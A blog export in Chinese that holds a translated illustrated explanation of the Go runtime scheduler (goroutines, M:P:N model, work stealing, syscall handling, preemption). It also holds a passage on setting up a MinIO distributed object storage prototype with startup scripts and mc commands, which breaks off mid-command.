Scheduler》。\n译注：原文章结构有些乱，笔者自行在译文中增加了一些分级标题，让结构显得更清晰一些:)。\n多goroutines形式的Go并发是编写现代并发软件的一种非常方便的方法，但是您的Go程序是如何高效地运行这些goroutines的呢？\n在这篇文章中，我们将深入Go运行时底层，从设计角度了解Go运行时调度程序是如何实现其魔法的，并运用这些原理去解释在Go性能调试过程中产生的Go调度程序跟踪信息。\n所有的工程奇迹都源于需要。因此，要了解为什么需要一个Go运行时调度程序以及它是如何工作的，我们可以让时间回到操作系统兴起的那个时代，回顾操作系统的历史可以使我们深入的了解问题的根源。如果不了解问题的根源，就没有解决它的希望。这就是历史所能做的。\n一. 操作系统的历史 单用户（无操作系统）。 批处理，独占系统，直到运行完成。 多道程序(译注:允许多个程序同时进入内存并运行) 多道程序的目的是使CPU和I/O重叠(overlap)。(译注:多道程序出现之前，当操作系统执行I/O操作时，CPU是空闲的；多道程序的引入实现了在一个程序占用CPU的时候，另一个程序在执行I/O操作)\n那怎么实现多道程序(的CPU与I/O重叠)呢？两种方式:多道批处理系统和分时系统。\n多道批处理系统\nIBM OS/MFT（具有固定数量的任务的多道程序） IBM OS/MVT（具有可变数量的任务的多道程序）在这里，每个作业(job)仅获得其所需的内存量。随着job的进出，内存的划分会发生变化。 分时\n这是一种多道程序设计，可以在作业之间快速切换。决定何时切换以及切换到哪个作业的过程就称为调度(scheduling)。 当前，大多数操作系统使用分时调度程序。\n那么这些调度程序将用来调度什么实体(entity)呢？\n不同的正在执行的程序（即进程process） 或作为进程子集存在使用CPU的基本单元:线程 但是在这些实体的切换是有代价的。\n调度成本 图: 进程和线程的状态变量\n因此，使用一个包含多个线程的进程的效率更高，因为进程创建既耗时又耗费资源。但是随后出现了多线程问题:C10k成为主要问题。\n例如，如果将调度周期定为10ms（毫秒），并且有2个线程，则每个线程将分别获得5ms。如果您有5个线程，则每个线程将获得2ms。但是，如果有1000个线程怎么办？给每个线程一个10μs（微秒）的时间片？错，这样做很愚蠢，因为您将花费大量时间进行上下文切换，但是真正要完成的工作却进展缓慢或停滞不前。\n您需要限制时间片的长度。在最后一种情况下，如果最小时间片为2ms并且有1000个线程，则调度周期需要增加到2s（1000_2ms）。如果有10,000个线程，则调度程序周期为20秒(10000_2ms)。在这个简单的示例中，如果每个线程都将分配给它的时间片用完，那么所有线程都完成一次运行需要20秒。因此，我们需要一些可以使并发成本降低而又不会造成过多开销的东西。\n用户层线程 线程完全由运行时系统（用户级库）管理。 理想情况下，快速高效:切换线程的代价不比函数调用多多少。 操作系统内核对用户层线程一无所知，并像对待单线程进程(single-threaded process)一样对其进行管理。 在Go中，我们知道这样的用户层线程被称为“Goroutine”。\nGoroutine 图: goroutine vs. 线程\ngoroutine是由Go运行时管理的轻量级线程（lightweight thread）。要启动一个新的goroutine，只需在函数前面使用go关键字:go add(a, b)。\nGoroutine之旅\nfunc main() { var wg sync.WaitGroup for i := 0; i \u0026lt;= 10; i++ { wg.Add(1) go func(i int) { defer wg.Done() fmt.Printf(\u0026ldquo;loop i is - %d\\n\u0026rdquo;, i) }(i) } wg.Wait() fmt.Println(\u0026ldquo;Hello, Welcome to Go\u0026rdquo;) }\nhttps://play.golang.org/p/73lESLiva0A\n您能猜出上面代码片段的输出吗？\nloop i is - 10 loop i is - 0 loop i is - 1 loop i is - 2 loop i is - 3 loop i is - 4 loop i is - 5 loop i is - 6 loop i is - 7 loop i is - 8 loop i is - 9 Hello, Welcome to Go 如果我们看一下输出的一种组合，你可能马上就会有两个问题:\n11个goroutine如何并行运行？魔法？ goroutine以什么顺序运行？ 图:gopher版奇异博士\n上面的这两个提问给我们带来了问题。\n问题概述 如何将这些goroutines分配到在CPU处理器上运行的多个操作系统线程上运行？ 这些goroutines应该以什么顺序运行才能保证公平？ 本文后续的讨论将主要围绕Go运行时调度程序从设计角度如何解决这些问题。但是，与所有问题一样，我们的讨论也需要定义一个明确的边界。否则，问题陈述可能太含糊，无法形成结论。调度程序可能针对多个目标中的一个或多个，对于我们来说，我们将自己限制在以下需求之内:\n应该是并行、可扩展且公平的。 每个进程应可扩展到数百万个goroutine（C10M） 内存利用率高。（RAM很便宜，但不是免费的。） 系统调用不应导致性能下降。（最大化吞吐量，最小化等待时间） 让我们开始为调度程序建模，以逐步解决这些问题。\n二. Goroutine调度程序模型 (译者自行加的标题) 1. 模型概述(译者自行加的标题) a) 一个线程执行一个Goroutine 局限性:\n并行和可扩展 并行（是的） 可扩展（不是真的） 每个进程不能扩展到数百万个goroutine（C10M）。 b) M:N线程—混合线程 M个操作系统内核线程执行N个“goroutine”\n图: M个内核线程执行N个goroutine\n实际执行代码和并行执行都需要内核线程。但是线程创建起来很昂贵，因此我们将N个goroutines映射到M个内核线程上去执行。Goroutine是Go代码，因此我们可以完全控制它。而且它在用户空间中，创建起来很便宜。\n但是由于操作系统对goroutine一无所知。因此每个goroutine都有一个状态，以帮助调度器根据goroutine状态知道要运行哪个goroutine。与内核线程的状态信息相比，goroutine的状态信息很小，因此goroutine的上下文切换变得非常快。\n正在运行(Running) – 当前在内核线程上运行的goroutine。 可运行(Runnable) – 等待内核线程来运行的goroutine。 已阻塞(Blocked) – 等待某些条件的Goroutine（例如，阻塞在channel操作，系统调用，互斥锁上的goroutine） 图: 2个线程同时运行2个goroutine\n因此，Go运行时调度器通过将N个Goroutine多路复用到M个内核线程的方式来管理处于各种不同状态的goroutines。\n2. 简单的M:N调度器 在我们简单的M:N调度器中，我们有一个全局运行队列(global run queue)，某些操作将一个新的goroutine放入运行队列。M个内核线程访问调度程序从“运行队列”中获取并运行goroutine。多个线程正在尝试访问相同的内存区域，因此使用互斥锁来同步对该运行队列的访问。\n图: 简单的M:N调度器\n但是，那些已阻塞的goroutine在哪里？ 下面是goroutine可能会阻塞的情况：\n在channel上发送和接收 网络I/O操作 阻塞的系统调用 使用定时器 使用互斥锁 那么我们将这些阻塞的goroutine放在哪里呢？— 将这些阻塞的goroutine放置在哪里的设计决策基本上是围绕一个基本原理进行的：\n阻塞的goroutine不应阻塞底层内核线程！（避免线程上下文切换的成本）\nchannel操作期间阻塞的Goroutine 每个channel都有一个recvq(waitq)，用于存储试图从该channel读取数据而阻塞的goroutine。\n**Sendq(waitq)**存储试图将数据发送到channel而被阻止的goroutine 。（channel实现原理:-https://codeburst.io/diving-deep-into-the-golang-channels-549fd4ed21a8）\n图: channel操作期间阻塞的Goroutine\nchannel本身会将channel操作后的未阻塞goroutine放入“运行”队列(run queue)。\n图: channel操作后未阻碍的goroutine\n那系统调用呢？ 首先，让我们看一下阻塞系统调用。系统调用会阻塞底层内核线程，因此我们无法在该线程上调度任何其他Goroutine。\n隐含阻塞系统调用可降低并行度。\n图: 阻塞系统调用可降低并行度\n一旦发生阻塞系统调用，我们无法再在M2线程上安排任何其他Goroutine运行，从而导致CPU浪费。由于我们有工作要做，但没法运行它。\n恢复并行度的方法是在进入系统调用时，我们可以唤醒另一个线程，该线程将从运行队列中选择可运行的goroutine。\n图: 恢复并行度的方法\n但是现在，系统调用完成后，我们有超额等待调度的goroutine。因此，我们不会立即运行从阻塞系统调用中返回的goroutine。我们会将其放入调度程序的运行队列中。\n图: 避免超额等待调度\n因此，在程序运行时，线程数远大于cpu核数。尽管没有明确说明，线程数大于cpu核数，并且所有空闲线程也由运行时管理，以避免启动过多的线程。\nhttps://golang.org/pkg/runtime/debug/#SetMaxThreads\n初始设置为10,000个线程，如果超过10,000个线程，程序将崩溃。\n非阻塞系统调用-将goroutine阻塞在Integrated runtime poller上 ，并释放线程以运行另一个goroutine。\n例如，在非阻塞I/O（例如HTTP调用）的情况下。由于资源尚未准备就绪，第一个syscall将不会成功，这将迫使Go使用network poller并将goroutine暂停。\n部分net.Read函数的实现：\nn, err := syscall.Read(fd.Sysfd, p) if err != nil { n = 0 if err == syscall.EAGAIN \u0026amp;\u0026amp; fd.pd.pollable() { if err = fd.pd.waitRead(fd.isFile); err == nil { continue } } } 一旦完成第一个系统调用并明确指出资源尚未准备就绪，goroutine将暂停，直到network poller通知它资源已准备就绪。在这种情况下，线程M将不会被阻塞。\nPoller将基于操作系统使用select/kqueue/epoll/IOCP等机制来知道哪个文件描述符已准备好，一旦文件描述符准备好进行读取或写入，它将把goroutine放回到运行队列中。\n还有一个Sysmon OS线程，如果超过10ms未轮询网络，它就将定期轮询网络，并将已就绪的G添加到队列中。\n基本上所有goroutine都被阻塞在下面操作上：\nchannel 互斥锁 网络IO 定时器 有某种队列，可以帮助调度这些goroutine。\n现在，运行时拥有具有以下功能的调度程序。\n它可以处理并行执行（多线程）。 处理阻塞系统调用和网络I/O。 处理阻塞在用户级别（在channel上）的调用。 但这不是可伸缩的(scalable)。\n图: 使用Mutex同步全局运行队列\n您可以通过Mutex同步全局运行队列，但最终会遇到一些问题，例如\n缓存一致性保证的开销。 在创建，销毁和调度Goroutine G时进行激烈的锁竞争。 使用分布式调度程序解决可伸缩性问题。\n分布式调度程序-每个线程一个运行队列 图: 分布式运行队列的调度程序\n这样，我们可以看到的直接好处是，每个线程的本地运行队列(local run queue)现在都没有使用mutex。仍然有一个带有mutex的全局运行队列，但仅在特殊情况下使用。它不会影响可伸缩性。\n但是现在，我们有多个运行队列。\n本地运行队列 全局运行队列 网络轮询器(network poller) 我们应该从哪里运行下一个goroutine？\n在Go中，轮询顺序定义如下：\n1. 本地运行队列\n2. 全局运行队列\n3. 网络轮询器\n4. 工作偷窃(work stealing)\n即首先检查本地运行队列，如果为空则检查全局运行队列，然后检查网络轮询器，最后进行“偷窃工作”。到目前为止，我们对1,2,3有了一些概述。让我们看一下“工作偷窃(work stealing)”。\n工作偷窃 如果本地工作队列为空，请尝试“从其他队列中偷窃工作”\n图: 偷窃工作\n当一个线程有太多工作要做而另一个线程空闲时，工作偷窃可以解决这个问题。在Go中，如果本地队列为空，工作偷窃将尝试满足以下条件之一。\n从全局队列中拉取工作。 从网络轮询器中拉取工作 从其他线程的本地队列中偷窃工作 到目前为止，Go运行时的调度器具有以下功能：\n它可以处理并行执行（使用多线程）。 处理阻塞系统调用和网络I/O。 处理用户级别（比如：在channel）的阻塞调用。 可伸缩扩展(scalable) 但这仍不是最有效的。\n还记得我们在阻塞系统调用中恢复并行度的方式吗？\n图: 系统调用操作\n它暗示在一个系统调用中我们可以有多个内核线程（可以是10或1000），这可能会比cpu核数多很多。这个方案将最终在以下期间产生了恒定的开销:\n偷窃工作时，它必须同时扫描所有内核线程（空闲的和运行goroutine的）本地运行队列，并且大多数都将是空闲的。 垃圾回收，内存分配器都会遇到相同的扫描问题。（https://blog.learngoprogramming.com/a-visual-guide-to-golang-memory-allocator-from-ground-up-e132258453ed） 使用M:P:N线程克服效率问题。\nM:P:N（3级调度程序）— 引入逻辑处理器P P —表示处理器，可以将其视为在线程上运行的本地调度程序\n图: M:P:N模型\n逻辑进程P的数量始终是固定的。（默认为当前进程可以使用的逻辑CPU数量）\n然后，我们将本地运行队列（LRQ）放入固定数量的逻辑处理器（P）中(译者注：而不是每个内核线程一个本地运行队列)。\n图: 分布式三级运行队列调度程序\nGo运行时将首先根据计算机的逻辑CPU数量（或根据请求）创建固定数量的逻辑处理器P。\n每个goroutine（G）将在分配了逻辑CPU（P）的OS线程（M）上运行。\n所以现在我们在以下期间没有了恒定的开销:\n偷窃工作 -只需扫描固定数量的逻辑处理器（P）的本地运行队列。 垃圾回收，内存分配器也将获得相同的好处。 使用固定逻辑处理器（P）的系统调用呢？ Go通过将它们包装在运行时中来优化系统调用（无论是否阻塞）。\n图: 阻塞系统调用的包装器\n阻塞SYSCALL方法封装在runtime.entersyscall(SB)和 runtime.exitsyscall(SB)之间。\n从字面上看，某些逻辑在进入系统调用之前被执行，而某些逻辑在系统调用返回之后执行。进行阻塞的系统调用时，此包装器将自动将P与线程M(即将执行阻塞系统调用的线程)解绑，并允许另一个线程在其上运行。\n图:阻塞Syscall的M交出P\n这使得Go运行时可以高效地处理阻塞的系统调用，而无需增加运行队列(译注：本地运行队列数量始终是和P数量一致的)。\n一旦阻塞系统调用返回，会发生什么？ 运行时会尝试获取之前绑定的那个P，然后继续执行。 运行时尝试在P空闲列表中获取一个P并恢复执行。 运行时将goroutine放在全局队列中，并将关联的M放回M空闲列表。 自旋线程和空闲线程\n当M2线程在syscall返回后变得空闲时。如何处理这个空闲的M2线程。从理论上讲，如果线程完成了所需的操作，则应将其销毁，然后再安排进程中的其他线程到CPU上执行。这就是我们通常所说的操作系统中线程的“抢占式调度”。\n考虑上述syscall中的情况。如果我们销毁了M2线程，而同时M3线程即将进入syscall。此时，在OS创建新的内核线程并将其调度执行之前，我们无法处理可运行的goroutine。频繁的线程前抢占操作不仅会增加OS的负载，而且对于性能要求更高的程序几乎是不可接受的。\n因此，为了适当地利用操作系统的资源并防止频繁的线程抢占给操作系统带来的负担，我们不会销毁内核线程M2，而是使其执行自旋操作并以备将来使用。尽管这看起来是在浪费一些资源。但是，与线程之间的频繁抢占以及频繁的创建和销毁操作相比，“空闲线程”要付出的代价更少。\nSpinning Thread(自旋线程) — 例如，在具有一个内核线程M（1）和一个逻辑处理器（P）的Go程序中，如果正在执行的M被syscall阻塞，则运行时会请求与P数量相同的“Spinning Threads”以允许等待的可运行goroutine继续执行。因此，在此期间，内核线程的数量M将大于P的数量（自旋线程+阻塞线程）。因此，即使将runtime.GOMAXPROCS的值设置为1，程序也将处于多线程状态。\n调度中的公平性如何？—公平地选择下一个要执行的goroutine 与许多其他调度程序一样，Go也具有公平性约束，并且由goroutine的实现所强加，因为Runnable goroutine应该最终得到调度并运行。\n这是Go Runtime Scheduler的四个典型的公平性约束：\n任何运行时间超过10ms的goroutine都被标记为可抢占（软限制）。但是，抢占仅在函数执行开始处才能完成。Go当前在函数开始处中使用了由编译器插入的协作抢占点。\n无限循环 – 抢占（约10毫秒的时间片）- 软限制 但请小心无限循环，因为Go的调度程序不是抢先的（直到Go 1.13）。如果循环不包含任何抢占点（例如函数调用或分配内存），则它们将阻止其他goroutine的运行。一个简单的例子是:\npackage main func main() { go println(\u0026quot;goroutine ran\u0026quot;) for {} } 如果你运行:\nGOMAXPROCS=1 go run main.go 直到Go（1.13）才可能打印该语句。由于缺少抢占点，main Goroutine将独占处理器。\n本地运行队列 -抢占（〜10ms时间片）- 软限制 通过每61次调度就检查一次全局运行队列，可以避免全局运行队列处于“饥饿”状态。 网络轮询器饥饿 后台线程会在主工作线程未轮询的情况下偶尔会轮询网络。 Go 1.14有一个新的“非合作抢占”机制。\n有了这种机制，Go运行时便有了具有所有必需功能的Scheduler。\n它可以处理并行执行（多线程）。 处理阻塞系统调用和网络I/O。 处理用户级别（在channel上）的阻塞调用。 可扩展 高效 公平 这提供了大量的并发性，并且始终尝试实现最大的利用率和最小的延迟。\n现在，我们总体上对Go运行时调度程序有了一些了解，我们如何使用它？Go为我们提供了一个跟踪工具，即调度程序跟踪(scheduler trace)，目的是提供有关调度行为的信息并用来调试与goroutine调度器伸缩性相关的问题。\n三. 调度器跟踪 使用GODEBUG=schedtrace=DURATION环境变量运行Go程序以启用调度程序跟踪。（DURATION是以毫秒为单位的输出周期。）\n图:以100ms粒度对schedtrace输出采样\n有关调度器跟踪的内容，Go Wiki拥有更多信息。\n参考:Dmitry Vyukov的可扩展Go Scheduler设计文档和演讲 https://docs.google.com/document/d/1TTj4T2JO42uD5ID9e89oa0sLKhJYD0Y_kqxDv3I3XMw/edit\nGopher艺术作品致谢:Ashley Mcnamara。\n我的网课“Kubernetes实战:高可用集群搭建、配置、运维与应用”在慕课网上线了，感谢小伙伴们学习支持！\n我爱发短信:企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为:1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址:https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式:\n微博:https://weibo.com/bigwhite20xx\n微信公众号:iamtonybai\n博客:tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏:\n商务合作方式:撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2020/03/21/illustrated-tales-of-go-runtime-scheduler/","summary":"\u003cp\u003e本文翻译自\u003ca href=\"https://medium.com/@ankur_anand/illustrated-tales-of-go-runtime-scheduler-74809ef6d19b\"\u003e《Illustrated Tales of Go Runtime Scheduler》\u003c/a\u003e。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e译注：原文章结构有些乱，笔者自行在译文中增加了一些分级标题，让结构显得更清晰一些:)。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e多\u003ca href=\"https://tonybai.com/2017/11/23/the-simple-analysis-of-goroutine-schedule-examples/\"\u003egoroutines\u003c/a\u003e形式的\u003ca href=\"https://tonybai.com/2015/06/23/concurrency-and-parallelism/\"\u003eGo并发\u003c/a\u003e是编写现代并发软件的一种非常方便的方法，但是您的\u003ca href=\"https://tonybai.com/tag/go\"\u003eGo\u003c/a\u003e程序是如何高效地运行这些goroutines的呢？\u003c/p\u003e\n\u003cp\u003e在这篇文章中，我们将深入Go运行时底层，从设计角度了解Go运行时调度程序是如何实现其魔法的，并运用这些原理去解释在Go性能调试过程中产生的\u003ca href=\"https://tonybai.com/2019/04/04/notes-about-fixing-a-go-panic-problem/\"\u003eGo调度程序跟踪信息\u003c/a\u003e。\u003c/p\u003e","title":"图解Go运行时调度器"},{"content":"近期参与了一个项目，该项目有存储大量图片、短视频、音频等非结构化数据的需求。于是我优先在Go社区寻找能满足这类需求的开源项目，minio就这样进入了我的视野。\n图：minio logo\n其实三年前我就知道了minio，并还下载玩(研)耍(究)了一番，但那时minio的成熟程度与今天相比还是相差较远的(当时需求简单，于是选择了较为熟悉的weedfs)。而如今的minio在github上收获了广泛的关注，小星星也是蛮多的(20k+ star)。它不仅被Go社区使用，在其他语言社区也有着广泛应用。我可以不负责任的说：在对象存储领域，minio大有kafka(java技术栈)在消息队列领域舍我其谁的气概:)。\n2019年gopherchina大会上，探探工程师分享了“基于MINIO的对象存储方案在探探的实践”。虽然探探目前是否在生产中使用minio暂不得而知，但这又一次证明了minio在对象存储领域的强大影响力。\n图：探探工程师在gopherchina2019大会上分享minio实践\nminio出品自一个有着多年网络文件系统开发经验的团队，其初始创始团队都来自于原Glusterfs团队，该团队二次创业的产品minio的设计广泛吸取了glusterfs的经验和教训：\n部署简单：一个single二进制文件即是一切，还可支持各种平台。（托了go语言的福）\nminio支持海量存储，可按zone扩展(原zone不受任何影响)，支持单个对象最大5TB；\n兼容Amazon S3接口，充分考虑开发人员的需求和体验；\n低冗余且磁盘损坏高容忍，标准且最高的数据冗余系数为2（即存储一个1M的数据对象，实际占用磁盘空间为2M）。但在任意n/2块disk损坏的情况下依然可以读出数据(n为一个纠删码集合(Erasure Coding Set)中的disk数量)。并且这种损坏恢复是基于单个对象的，而不是基于整个存储卷的。\n读写性能优异\n图：来自minio技术白皮书中的benchmark数据\n鉴于上述minio的“优点”，我打算在这个项目中基于minio实现非结构化数据的对象存储方案。本篇文章将介绍方案的原型设计与初始minio验证环境搭建。\n一. 原型方案 基于minio的非结构化数据对象存储方案都大同小异，下面的图示就是根据我们的需求简单设计的原型方案：\n图：原型方案\n我们基于minio提供的distributed mode，将位于多个host上的多块磁盘组成一个逻辑存储池，通过运行于不同host上的minio server实现一个高可用的对象存储方案；\n数据通过一个独立的上传服务(基于minio提供的sdk与minio集群通信)写入minio；\n通过minio的mc工具创建bucket，并将bucket的policy设置为”download”，以允许外部用户直接与minio通信，获取对象数据。中间不再设置除lb之外的中间层；\n通过job或定时任务利用mc工具统一对minio中的数据进行维护，比如定期删除7天前的数据(如果数据默认过期时间设定为7天)。\n二. minio server启动模式 minio支持多种server启动模式：\n图：minio server启动模式\nminio server的standalone模式，即要管理的磁盘都在host本地。该启动模式一般仅用于实验环境、测试环境的验证和学习使用。在standalone模式下，还可以分为non-erasure code mode和erasure code mode。\n所谓non-erasure code mode，即minio server启动时仅传入一个本地磁盘目录参数：比如：\n$minio server data Endpoint: http://10.10.126.88:9000 http://127.0.0.1:9000 AccessKey: minioadmin SecretKey: minioadmin Browser Access: http://10.10.126.88:9000 http://127.0.0.1:9000 Command-line Access: https://docs.min.io/docs/minio-client-quickstart-guide $ mc config host add myminio http://10.10.126.88:9000 minioadmin minioadmin ... ... 在这样的启动模式下，对于每一份对象数据，minio直接在data下面存储这份数据，不会建立副本，也不会启用纠删码机制。因此，这种模式无论是服务实例还是磁盘都是“单点”，无任何高可用保障，磁盘损坏就表示数据丢失。\n同样在单minio server的情况下，erasure code mode即为minio server实例传入多个本地磁盘参数。一旦遇到多于一个磁盘参数，minio server会自动启用erasure code mode。erasure code对磁盘的个数是有要求的，如不满足要求，实例启动将失败：\n$minio server data1 data2 ERROR Invalid command line arguments: Incorrect number of endpoints provided [data1 data2] \u0026gt; Please provide an even number of endpoints greater or equal to 4 HINT: For more information, please refer to https://docs.min.io/docs/minio-erasure-code-quickstart-guide erasure code启用后，要求传给minio server的endpoint(standalone模式下，即本地磁盘上的目录)至少为4个。minio server启用纠删码机制后，会自动将传入的disk drive划分为多个erasure coding set，每个erasure coding set中的disk drive的数量可以是：4, 6, 8, 10, 12, 14 和16。minio server会根据传入disk drive的数量自动计算set个数和每个set中的disk drive数量。比如下面例子中，我们传入四个endpoint(disk drive)给minio server：\n$minio server data1 data2 data3 data4 Formatting 1 zone, 1 set(s), 4 drives per set. WARNING: Host local has more than 2 drives of set. A host failure will result in data becoming unavailable. Status: 4 Online, 0 Offline. Endpoint: http://10.10.126.88:9000 http://127.0.0.1:9000 AccessKey: minioadmin SecretKey: minioadmin Browser Access: http://10.10.126.88:9000 http://127.0.0.1:9000 Command-line Access: https://docs.min.io/docs/minio-client-quickstart-guide $ mc config host add myminio http://10.10.126.88:9000 minioadmin minioadmin ... ... 从minio server的输出日志来看，minio server将这些drive放入了一个erasure coding set了。在输出日志中，我们还看到一行WARNING: Host local has more than 2 drives of set. A host failure will result in data becoming unavailable.，即minio server警告我们：这个erasure coding set中有多于两个的drive都在local host上，这样一旦host宕机，那么数据将无法获取。(每个set 有4个drive，根据纠删码的机制，这个set的最大允许失效的disk数量为4/2=2)。\n我们再来看minio server启动的一个**“语法糖”** – “省略号”语法：\n$minio server data{1...18} Formatting 1 zone, 3 set(s), 6 drives per set. WARNING: Host local has more than 3 drives of set. A host failure will result in data becoming unavailable. WARNING: Host local has more than 3 drives of set. A host failure will result in data becoming unavailable. WARNING: Host local has more than 3 drives of set. A host failure will result in data becoming unavailable. Status: 18 Online, 0 Offline. Endpoint: http://10.10.126.88:9000 http://127.0.0.1:9000 AccessKey: minioadmin SecretKey: minioadmin Browser Access: http://10.10.126.88:9000 http://127.0.0.1:9000 Command-line Access: https://docs.min.io/docs/minio-client-quickstart-guide $ mc config host add myminio http://10.10.126.88:9000 minioadmin minioadmin ... ... minio server data{1...18}等价于minio server data1 data2 data3 data4 data5 data6 data7 data8 data9 data10 data11 data 12 data13 data14 data15 data16 data17 data18。minio server会自行扩展省略号代表的内容。我们看到：当我们传入18个disk drive后，minio server创建了3个erasure coding set，每个set中有6个disk drive。同样，minio server还针对每个set输出了一行WARNING：每个Set中有三个以上的disk drive都位于同一台host上。\n这些WARNING我们可以通过distributed mode来解决。顾名思义，distributed mode下，minio server实例和其管理的disk drive分布在多台host上，这种模式可以避免minio server实例单点，数据也将分布在不同host上的不同disk中，实现了高可用，提升了整体的容灾能力。由于处理多个host上的disk，distribute mode默认就会启动erasure coding set机制。\n在distributed mode下，minio server后面的远程的endpoint采用http url编码格式：\nexport MINIO_ACCESS_KEY=\u0026lt;ACCESS_KEY\u0026gt; export MINIO_SECRET_KEY=\u0026lt;SECRET_KEY\u0026gt; $minio server http://host{1...4}:9000/minio/data{1...4} 上面例子中的minio server命令相当于4个host，每个host上启动一个minio server实例，每个实例都管理16的disk drive(包括本地和远程的)。上述命令等价于：\n$minio server http://host1:9000/minio/data1 http://host1:9000/minio/data2 http://host1:9000/minio/data3 http://host1:9000/minio/data4 http://host2:9000/minio/data1 http://host2:9000/minio/data2 http://host2:9000/minio/data3 http://host2:9000/minio/data4 http://host3:9000/minio/data1 http://host3:9000/minio/data2 http://host3:9000/minio/data3 http://host3:9000/minio/data4 http://host4:9000/minio/data1 http://host4:9000/minio/data2 http://host4:9000/minio/data3 http://host4:9000/minio/data4 minio同样会自动将这些disk drive划分为若干个erasure coding set。每个endpoint用http://address/disk-drive-path的形式编码。注意：这条命令在host1、host2、host3和host4上都要执行。\nminio有一个zone的概念，比如下面这个例子：\n$minio server data{1...8} data{9...16} Formatting 1 zone, 1 set(s), 8 drives per set. WARNING: Host local has more than 4 drives of set. A host failure will result in data becoming unavailable. Formatting 2 zone, 1 set(s), 8 drives per set. WARNING: Host local has more than 4 drives of set. A host failure will result in data becoming unavailable. Status: 16 Online, 0 Offline. Endpoint: http://10.10.126.88:9000 http://127.0.0.1:9000 AccessKey: minioadmin SecretKey: minioadmin Browser Access: http://10.10.126.88:9000 http://127.0.0.1:9000 Command-line Access: https://docs.min.io/docs/minio-client-quickstart-guide $ mc config host add myminio http://10.10.126.88:9000 minioadmin minioadmin ... ... 我们在命令行中给minio server传入两组采用“省略号”语法的参数，minio认为每组就是一个**“zone”，这里有两组，因此minio创建了两个zone**。在每个zone内，minio创建了一个erasure coding set，每个set中有8个disk drive。对于外部的写数据请求，minio server会首先查找可用空间多的zone，然后再在zone内选择set和disk drive。\n如果不用“省略号”语法，那么minio server会将后面传入的所有disk drive放入一个zone中。\n三. 原型验证环境搭建与配置 1. 单机上部署distributed minio集群 我们的验证环境采用最小的distributed minio模式：单机、one zone, one erasure coding set, 4 disk drive。下面是部署的示意图：\n图：单机上部署distributed minio集群\n我们没有使用“省略号”语法，在单机上不是很好模拟。我们通过下面脚本来启动该minio集群：\n# cat startup_minio.sh #!/bin/bash export MINIO_ACCESS_KEY=\u0026quot;minio\u0026quot; export MINIO_SECRET_KEY=\u0026quot;minio123\u0026quot; for i in {01..04}; do nohup minio server --address \u0026quot;:90${i}\u0026quot; http://127.0.0.1:9001/root/minio-install/data1 http://127.0.0.1:9002/root/minio-install/data2 http://127.0.0.1:9003/root/minio-install/data3 http://127.0.0.1:9004/root/minio-install/data4 \u0026gt; \u0026quot;/root/minio-install/90${i}.log\u0026quot;\u0026amp; 2\u0026gt;\u0026amp;1 done 启动该minio集群，并查看启动状态：\n# bash startup_minio.sh # ps -ef|grep minio root 1218 1 11 21:58 pts/5 00:00:01 minio server --address :9001 http://127.0.0.1:9001/root/minio-install/data1 http://127.0.0.1:9002/root/minio-install/data2 http://127.0.0.1:9003/root/minio-install/data3 http://127.0.0.1:9004/root/minio-install/data4 root 1219 1 11 21:58 pts/5 00:00:01 minio server --address :9002 http://127.0.0.1:9001/root/minio-install/data1 http://127.0.0.1:9002/root/minio-install/data2 http://127.0.0.1:9003/root/minio-install/data3 http://127.0.0.1:9004/root/minio-install/data4 root 1220 1 3 21:58 pts/5 00:00:00 minio server --address :9003 http://127.0.0.1:9001/root/minio-install/data1 http://127.0.0.1:9002/root/minio-install/data2 http://127.0.0.1:9003/root/minio-install/data3 http://127.0.0.1:9004/root/minio-install/data4 root 1221 1 11 21:58 pts/5 00:00:01 minio server --address :9004 http://127.0.0.1:9001/root/minio-install/data1 http://127.0.0.1:9002/root/minio-install/data2 http://127.0.0.1:9003/root/minio-install/data3 http://127.0.0.1:9004/root/minio-install/data4 root@instance-cspzrq3u:~/minio-install# ls 9001.log 9002.log 9003.log 9004.log data1 data2 data3 data4 startup_minio.sh root@instance-cspzrq3u:~/minio-install# tail -100f 9001.log Formatting 1 zone, 1 set(s), 4 drives per set. Attempting encryption of all config, IAM users and policies on MinIO backend Status: 4 Online, 0 Offline. Endpoint: http://192.168.16.4:9001 http://172.17.0.1:9001 http://172.18.0.1:9001 http://127.0.0.1:9001 Browser Access: http://192.168.16.4:9001 http://172.17.0.1:9001 http://172.18.0.1:9001 http://127.0.0.1:9001 .... ... 2. mc配置与管理 minio官方提供了mc命令行工具，用于对minio server进行管理。我们首先要为mc创建一个管理本地minio server(:9001)的配置：\n# mc config host add myminio http://localhost:9001 minio minio123 Added `myminio` successfully. 这里我们使用mc添加了一个所谓”host”，指向上面创建的minio server(:9001)。上面的命令实质上是在~/.mc/config.json中写入了如下配置：\n# cat ~/.mc/config.json { \u0026quot;version\u0026quot;: \u0026quot;9\u0026quot;, \u0026quot;hosts\u0026quot;: { \u0026quot;myminio\u0026quot;: { \u0026quot;url\u0026quot;: \u0026quot;http://localhost:9001\u0026quot;, \u0026quot;accessKey\u0026quot;: \u0026quot;minio\u0026quot;, \u0026quot;secretKey\u0026quot;: \u0026quot;minio123\u0026quot;, \u0026quot;api\u0026quot;: \u0026quot;s3v4\u0026quot;, \u0026quot;lookup\u0026quot;: \u0026quot;auto\u0026quot; } } } 接下来，我们通过mc命令在minio集群中添加三个bucket：\nroot@instance-cspzrq3u:~# mc mb myminio/image Bucket created successfully `myminio/image`. root@instance-cspzrq3u:~# mc mb myminio/video Bucket created successfully `myminio/video`. root@instance-cspzrq3u:~# mc mb myminio/audio Bucket created successfully `myminio/audio`. root@instance-cspzrq3u:~# mc ls myminio [2020-03-16 15:19:55 CST] 0B audio/ [2020-03-16 15:19:48 CST] 0B image/ [2020-03-16 15:19:52 CST] 0B video/ 新创建的bucket默认的访问policy是none，即外部无访问权限：\nroot@instance-cspzrq3u:~# mc policy get 